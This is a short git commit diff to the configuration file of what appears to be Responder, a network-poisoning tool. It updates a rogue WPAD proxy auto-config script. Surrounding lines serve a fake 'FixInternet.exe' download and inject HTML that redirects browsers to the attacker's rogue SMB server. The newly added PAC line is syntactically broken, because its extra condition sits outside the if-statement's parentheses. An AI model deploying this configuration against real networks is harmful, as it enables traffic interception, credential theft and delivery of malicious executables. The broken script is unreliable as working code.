Updated Pac script to use direct connection for localhosts.

This commit is contained in:
lgandx 2014-01-26 23:20:53 -05:00
commit 269e4cbaf7

View file

@ -38,7 +38,7 @@ Filename = Denied.html
ExecFilename = FixInternet.exe ExecFilename = FixInternet.exe
; ;
;Set your custom PAC script ;Set your custom PAC script
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") ||(shExpMatch(host, "localhost.*")) ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT";return 'PROXY ISAProxySrv:3141; DIRECT';} WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") ||(shExpMatch(host, "localhost.*")) ||(host == "127.0.0.1")) || (isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT";return 'PROXY ISAProxySrv:3141; DIRECT';}
; ;
;HTML answer to inject. ;HTML answer to inject.
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host. ;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.